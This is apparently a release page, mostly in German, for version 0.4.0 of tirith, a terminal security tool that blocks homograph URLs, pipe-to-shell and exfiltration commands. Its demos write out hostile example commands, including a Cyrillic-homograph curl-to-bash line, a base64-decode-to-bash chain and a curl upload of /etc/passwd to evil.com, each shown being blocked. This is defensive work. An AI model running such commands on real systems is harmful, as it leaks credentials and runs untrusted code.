Zurück zu den Updates
New releaseAug 25, 2026

tirith v0.4.0

Terminalsicherheit für Entwickler und KI-Agenten. Fängt homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration und schädliche KI-Fähigkeiten/-Konfigurationen ab, bevor sie ausgeführt werden.

Teilen

tirith

Ihr Browser würde das abfangen. Ihr Terminal nicht.

tirith, Terminal-Sicherheit

CI GitHub Stars License: AGPL-3.0

Website | Docs | SKILL.md | Changelog | Releases

Vercel OSS Program

Unabhängiges Open-Source-Projekt, Hosting unterstützt durch das Vercel Open Source Program (Spring 2026 Cohort).


Können Sie den Unterschied erkennen?

  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised

Sie können es nicht. Ihr Terminal auch nicht. Beide і-Zeichen sind kyrillisch (U+0456), nicht lateinisch i. Die zweite URL führt zu einem Server des Angreifers. Das Skript wird ausgeführt, bevor Sie es bemerken.

Browser haben dieses Problem vor Jahren gelöst. Terminals geben Unicode, ANSI-Escapes und unsichtbare Zeichen weiterhin ohne Prüfung aus. KI-Agenten führen Shell-Befehle aus und installieren Pakete, ohne zu prüfen, was darin steckt.

Tirith steht am Tor. Es fängt Befehle, eingefügte Inhalte und gescannte Dateien ab – auf Homograph-URLs, verschleierte Payloads, Diebstahl von Zugangsdaten, bösartige KI-Skills/-Konfigurationen und bekannte schädliche Pakete/Domains/IPs aus einer signierten Threat-Intelligence-Datenbank – bevor sie ausgeführt werden.

brew install tirith

Dann in deinem Shell-Profil aktivieren:

# zsh
eval "$(tirith init --shell zsh)"

# bash
eval "$(tirith init --shell bash)"

# fish
tirith init --shell fish | source

[!TIP] eval "$(tirith init)" erkennt deine aktuelle Shell automatisch (es untersucht den übergeordneten Prozess und greift bei Bedarf auf $SHELL zurück). Das explizite --shell-Flag ist nur erforderlich, wenn du die Erkennung überschreiben möchtest.

Oder lass Tirith die Startdatei für dich schreiben, als einen überprüften Plan, den du rückgängig machen kannst:

tirith setup recommended --scope user --shell zsh --dry-run   # preview
tirith setup recommended --scope user --shell zsh             # apply

Das war die Abdeckung der interaktiven Shell. Befehle, die von dieser Shell akzeptiert werden, werden geprüft, während der Hook geladen und funktionsfähig ist; das genaue Blockierungsverhalten hängt von der Shell und dem Modus ab. Führen Sie nach der Installation und nach Upgrades tirith status aus: Es zeigt an, ob der geladene Hook dieses Terminals aktuell ist. Führen Sie tirith doctor --verify-shell aus, um die Blockierung in der Shell selbst zu beobachten, und lesen Sie Durchsetzung nach Shell, bevor Sie den Hook als Autorisierungsgrenze behandeln. Saubere Befehle bleiben still und nehmen normalerweise den schnellen Pfad.

Ebenfalls verfügbar über npm, cargo, mise, apt/dnf und mehr.


In Aktion erleben

Homograph-Angriff, vor der Ausführung blockiert:

$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

Der Befehl wird niemals ausgeführt.

Einfache HTTP-Anfrage an eine LAN-Adresse, gewarnt, nicht blockiert:

$ curl http://192.168.1.20:8080/health

tirith: WARNING
  [MEDIUM] raw_ip_url, URL uses raw IP address
  [MEDIUM] plain_http_to_sink, Plain HTTP URL in execution context
  [MEDIUM] private_network_access, Private network access: 192.168.1.20

Warnung wird auf stderr ausgegeben. Der Befehl wird trotzdem ausgeführt. Ein Download, der an eine Shell weitergeleitet wird (curl ... | sh), ist keine Warnung: Er wird als curl_pipe_shell blockiert.

Base64-Decodierungs-Ausführungskette, blockiert:

$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Fängt auch Dekodierungsketten über sudo/env-Wrapper und PowerShell -EncodedCommand ab.

Anmeldedaten-Exfiltration, blockiert:

$ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED
  [HIGH] data_exfiltration, Data exfiltration via curl upload
    curl command uploads sensitive data to a remote server

Deckt alle curl/wget-Upload-Flags, Umgebungsvariablen ($AWS_SECRET_ACCESS_KEY) und Command Substitution ab.

Bösartige Skill-Datei, beim Scan erkannt:

$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Durchsucht JS/Python-Dateien nach obfuskierten Payloads, dynamischer Codeausführung und Mustern zur Exfiltration von Secrets.

Normale Befehle, unsichtbar:

$ git status
$ ls -la
$ docker compose up -d

Nichts. Null Ausgabe. Du vergisst, dass tirith läuft.


Was es erkennt

245 Erkennungsregeln in 35 Kategorien.

Kategorien